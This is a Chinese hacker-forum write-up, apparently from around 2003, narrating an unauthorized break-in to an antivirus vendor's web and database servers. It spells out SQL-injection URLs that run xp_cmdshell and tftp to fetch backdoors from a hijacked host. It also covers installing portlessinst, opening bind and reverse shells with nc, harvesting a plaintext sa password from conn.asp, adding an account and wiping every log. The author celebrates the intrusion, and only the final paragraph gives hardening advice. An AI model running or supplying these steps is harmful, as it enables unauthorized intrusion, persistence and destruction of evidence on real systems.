[摘要]大家还记得我去年有一个文章名字叫《两次渗透国内XX知名杀毒软件厂商网站全记录》吗?当时我利用了最流行的Sql2溢出拿到了该主机的System权限。并且通知了管理员。事隔将近一年了,前一阵子冲击波蠕虫...
大家还记得我去年有一个文章名字叫《两次渗透国内XX知名杀毒软件厂商网站全记录》吗?当时我利用了最流行的Sql2溢出拿到了该主机的System权限。并且通知了管理员。事隔将近一年了,前一阵子冲击波蠕虫横扫了全世界的互连网。该杀毒软件厂商最快推出了杀冲击波蠕虫的软件。我又对这个XX知名厂商的官方站点产生了浓厚的兴趣。绝定在做一次渗透性实验。看看国内顶尖杀毒软件的网络安全情况如今怎么样。首先声明本人不是“黑客”只是一名网络安全技术爱好者而已。
由于是渗透试验就从最基本的端口扫描开始了……
还是请出了我的最爱。也是我认为最好的端口扫描利器scanner3.0。扫描到的信息又如下:
+ 202.xxx.xxx.xxx
___ 25 Simple Mail Transfer
___ 220 tytty-h81as3k44 Microsoft ESMTP MAIL Service, Version: 5.0.2195.6713 ready at Wed, 15 Oct 2003 22:40:31 +0800 ..
___ 80 World Wide Web HTTP
___ HTTP/1.1 200 OK..Server: Microsoft-IIS/5.0..Date: Wed, 15 Oct 2003 14:40:33 GMT..Connection: Keep-Alive..Content-Length: 1162..
___ 443 https MCom
___ 1025 network blackjack
___ 1027 ICQ?
___ 1433 Microsoft-SQL-Server
以上就是该杀毒软件厂商主机所有的端口情况。通过端口信息可以分析出以下几点:
1 该主机关闭了Tcp 135 ,139 ,445端口。看来rpc溢出是没戏了。通过ipc$破解管理员密码也是不可能的事情。
2 去年我进入就是通过1433端口的sql2溢出并且通知了管理员看来sql2溢出也是没戏了。从我上次看到该主机管理员密码的复杂性来看暴力破解Sql的Sa用户密码也是不可能的事情。
3 从刚才的端口扫描我发现该主机禁止了Ping看来已经安装了防火墙。管理员可真是“吃一箭长一智”
最后我把渗透的重点就落在了80端口上。首先拿出Webdavsan检查一下是否存在Webdav漏洞。扫描结果如下:
看来这个主机看起来似乎比以前安全多了。到了这里基本就可以判断利用漏洞进入主机是不可能了。我决定去该杀毒软件厂商的站点上走走……
去网站上一看变化可真大。网站里面多出了一个在线杀毒的栏目。这个在我上次渗透的时候绝对没有。由于很好奇就决定先从这个在线杀毒asp程序下手。这个在线杀毒的Url是:http://xxx.xxxx.com/message.asp?ID =1在刚才扫描确定该主机开放了Tcp1433端口就说明这个站点是iis5.0+asp+sql server这样组合的。看到了这个URL我就联想到了国内最近讨论最热门的SQL Injection我先来手工检测一下。在http://xxx.xxxx.com/message.asp?ID =1的后面加上了一个逗号提交http://xxx.xxxx.com/message.asp?ID =1’服务器返回如下图:
看来这个asp程序没有过滤掉逗号。从服务器返回的Microsoft OLE DB Provider for SQL Server 错误 '80040e14'这句话可以看出来这个程序使用的数据库的确是Sql server。接下来在提交分号。提交的url如下: http://xxx.xxxx.com/message.asp?ID =1;提交以后返回的数据和提交逗号返回的差不多由于篇幅原因我就不在抓图了。通过以上测试可以判断该站使用的asp程序没做充分的过滤。看来有机会了。高兴ING。接下来测试该主机有没有删除Sql server的xp_cmdshell存储扩展。提交url: http://xxx.xxxx.com/message.asp?ID =1';exec master.dbo.xp_cmdshell 'net start telnet'----这句话的意思就是看看该站的asp程序是不是以sql server Sa用户执行的。结果返回了一个正常页面。由于该厂商在国内杀毒软件市场里名声非常大。如果我要是抓图的话就会……所以我就不能抓图给各位看管了。请大家理解。返回正常页面以后根据我以往的经验基本就可以判断SQL Injection是成功的。telnet xxx.xxx.xxx.xxx 结果返回如下:
虽然的失败了。但是是在连接了很长时间才返回失败的。根据以往的经验可以看出该主机一定安装有防火墙。因为一般只有开防火墙的情况下才能很长时间才有反映。在加上一开始扫描端口的时候根本PING不通该主机的IP地址我就更坚信不疑了。接下来我把我肉鸡的Tftp打开了。并把小榕的Bits.dll放在tftp的跟目录下。接下来回到杀毒软件厂商网站上提交Url:
http://xxx.xxxx.com/message.asp?ID =1 ;exec master.dbo.xp_cmdshell tftp -i 218.xxx.xxx.xxx get bits.dll;----接下来看肉鸡的Tftp有反映了。看下图:
SQL Injection成功。可是成功是成功了。问题又出来了。刚才我扫描该站主机的IP地址是.xxx.xxx.xxx.xx1可是刚才在我肉鸡上tftp显示下载bits的地址却是xxx.xxx.xxx.233为什么这个地址和网站地址IP地址不一样呢?我分析以后可能有以下两种情况。
1 在线杀毒的asp程序和该杀毒软件厂商官方网站不是一台服务器上。
2 在线杀毒的数据库也就是sql server不在一台服务器上。
接下来我又对xxx.xxx.xxx.233的主机进行了详细的扫描。结果如下:
+ + xxx.xxx.xxx.233
___ 21 File Transfer Protocol [Control]
___ 220 Serv-U FTP Server v4.2 for WinSock ready.....
___ 80 World Wide Web HTTP
___ HTTP/1.1 200 OK..Server: Microsoft-IIS/5.0..Date: Wed, 15 Oct 2003 15:59:03 GMT..X-Powered-By: ASP.NET..Connection: Keep-Alive.
___ 1433 Microsoft-SQL-Server
___ 5631 pcANYWHEREdata
___ .X..}.......... <Enter>.....
看来ip地址为:xxx.xxx.xxx.233的确是另外一台主机。而且还额外开放了5631端口。先不管那么多了。
刚才已经利用SQL Injection把bits传到.xxx.xxx.xxx.233主机的c:\winnt\system32目录下。注意:利用sql配合tftp上传文件都是在对方的winnt/system32目录下。SQL Injection也不例外。接下来提交url:
http://xxx.xxxx.com/message.asp?ID=1';execmaster.dbo.xp_cmdshell'rundll32.exe BITS.dll,Install zihuan';----
我来解释一下:这句话的意思就是把bits后门的特征字符指定为zihuan并且安装bits。至于bits我曾经在X挡案上发表过相关文章。我在这里就不过多解释了。
接下来提交URL:
一切安装成功以后马上在本机用nc连接目标的80端口。命令为nc –vv xxx.xxx.xxx.233 80 然后输入命令:zihuan@dancewithdolphin[xell]:99这个命令的意思就是把cmdshell绑定在对方的99端口上。然后在用nc –vv xxx.xxx.xxx.233连接目标的99端口。结果是NC好长时间没有反映最后失败了。我分析失败的原因可能有两个
1 该主机安装有防火墙导致连接不上。
2 bits在上传的时候被主机安装的杀毒软件给杀了。
。我马上想出了bits还有反弹连接功能。接着在肉鸡上用nc –l –p 100来监听100端口。然后在nc –vv xxx.xxx.xxx.233 80输入命令:zihuan@dancewithdolphin[rxell]:218.xxx.xxx.xxx 100然后回到肉鸡用NC监听的100端口一看…昏!还是没有任何反映。由于我是利用SQL Injection安装的bits所以根本看不到回显。可以判断bits保证是被杀了。这时候我想起来刚才一开始提交过';exec master.dbo.xp_cmdshell 'net start telnet'----所以马上在telnet xxx.xxx.xxx.233还是很长时间都没有反映。说明这个xxx.xxx.xxx.233保证安装有防火墙。
防火墙配合杀毒软件说明这个主机还是很安全的。渗透试验到了这里已经进入了僵局。可现在的我还是不甘心 。我在这时又想起来了一个类似bits的后门程序。名字叫portlessinst。只有两个文件分别为portlessinst.exe和SvchostDLL.dll我马上把这两个文件放在了肉鸡tftp的目录下。然后在提交url:http://xxx.xxxx.com/message.asp?ID =1 ;exec master.dbo.xp_cmdshell tftp -i 218.xxx.xxx.xxx getportlessinst.exe
和
http://xxx.xxxx.com/message.asp?ID =1 ;exec master.dbo.xp_cmdshell tftp -i 218.xxx.xxx.xxx SvchostDLL.dll
提交以后看肉鸡的tftp显示下载成功。我马上开始安装。
Portlessins的安装格式为:
ortlessinst.exe -install <特征字符> <连接密码>
我指定特征字符为zihuan连接密码为ziHUAN马上提交rul
http://xxx.xxxx.com/message.asp?ID =1 ;exec master.dbo.xp_cmdshell ‘Portlessinst.exe -install zihuan ziHUAN’
然后把ortlessinst.exe注册为系统服务。命令为net start iprip马上又提交url
http://xxx.xxxx.com/message.asp?ID =1 ;exec master.dbo.xp_cmdshell ‘net start iprip’
提交这个url返回正常页面有点慢因为一般利用SQL Injection启动系统服务都很慢。想当黑客一定要有耐心哦:)
不一会返回正常页面。说明启动服务成功。接下来就是连接了。
先用命令nc –vv xxx.xxx.xxx.233 80
然后输入特征字符和端口命令为zihuan:80这句话的意思就是把shell绑定在80端口上。
接下来在nc –vv xxx.xxx.xxx.233 80看下图:
各位读者看到这里不要不相信自己的眼睛。我的确是在80端口拿到shell的。我成功的利用Portlessinst把shell绑定在了80端口上穿透了xxx.xxx.xxx.233的防火墙。端口重复利用是Portlessinst的最大好处。我曾经N次利用Portlessinst穿透目标主机的防火墙无论是软件和硬件防火墙或者是边界路由。真是屡试不爽。
OK。现在我非常激动。已经成功的进入了这个XX杀毒软件厂商的其中一台主机。可是我最初的愿望是渗透这个XX杀毒软件厂商web所在的主机所以现在有点不甘心。继续在我已经进入这台主机上疯狂收集信息。进入了D盘发现在D盘下有一个叫DATA的目录。进去以后全是htm和asp文件。我估计这个可能是这个杀毒厂商软件网站的备份文件。我现在根本没有时间详细看这些网页文件。我很害怕被对方管理员发现。我找着找着发现在data目录下还有一个data目录。进去以后我看到了一个叫conn.asp的文件。看到这个文件我眼前一亮马上输入命令type conn.asp回显为以下:
<%@LANGUAGE="VBSCRIPT"%>
省略……
strSQLServerName = "202.xxx.xxx.xxx" trSQLDBUserName = "sa"
strSQLDBPassword = "#k>2004" strSQLDBName = "user"
'SQL Server OLE Driver
Set conn = Server.CreateObject("ADODB.Connection")
省略……
Set conn = Nothing
End Function
%>
哈哈。这下可爽了。里面最关键的几句话有。
strSQLServerName = "202.xxx.xxx.xxx " trSQLDBUserName = "sa"
strSQLDBPassword = "#k>2004" strSQLDBName = "user"
' strSQLServerName = "202.xxx.xxx.xxx "这句就是服务器的IP地址。正好与该杀毒厂商网站是一个IP地址。就是我一开始想渗透的这个服务器的IP地址。strSQLDBPassword = "#k>2004"这句话的意思是sa的密码为#k>2004.有了这些我马上拿出了流光自带的sql连接器进行连接。看下图:
连上以后为了测试权限我在上面加了一个用户为:zihuan密码为:ziHUAN果然是system权限。最后用tftp上传了LogKiller.exe然后执行清理掉了所有的日志文件。然后删除了我刚才建立的zihuan用户。后门也不用在留了。知道sa的密码就是最好的后门。不过我清理了人家所有的日志我知道很快就会被发现的。这里有人要问了为什么不开3389单个清理掉自己留下的日志?
一般象这样的主机都有技术很好的网管进行维护的。开3389会重启服务器。我不想没清理日志就给服务器重启。这样做是很危险的。到了这里渗透就接近尾声了因为成功以后就对这两个主机没有任何兴趣了。
事件回顾
再一次渗透成功了国内这么有名气的杀毒软件厂商感觉真的很爽很刺激。多亏了Portlessinst帮我穿透了防火墙要不然渗透计划半道就会破产。Portlessinst真是一个好东西。大家可以自己试验试验。象这次渗透里面的有些asp程序和sql server根本不在一台服务器上。有些hacking的时候需要多分析才能最后达到目的。一定要对自己有足够的自信心这样才能最终成功。
通过渗透说明国内的网络安全意识还不是很强。现在很多网站都存在SQL Injection足已说明安全是一个整体。小疏忽也会造成主机整个被入侵者控制。在这里紫幻提醒广大网管朋友一定要把自己站上的asp程序充分过滤。比如:’等等。需要sql支持的web 程序一定要利用低权限的sql用户。使用sa是绝对危险的。并且要删除sql server的一些扩展过程。比如xp_cmdshell……这样才会使主机更加安全。
(出处:viphot)
网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。
关键词:再次渗透国内XX知名杀毒软件厂商网站全记录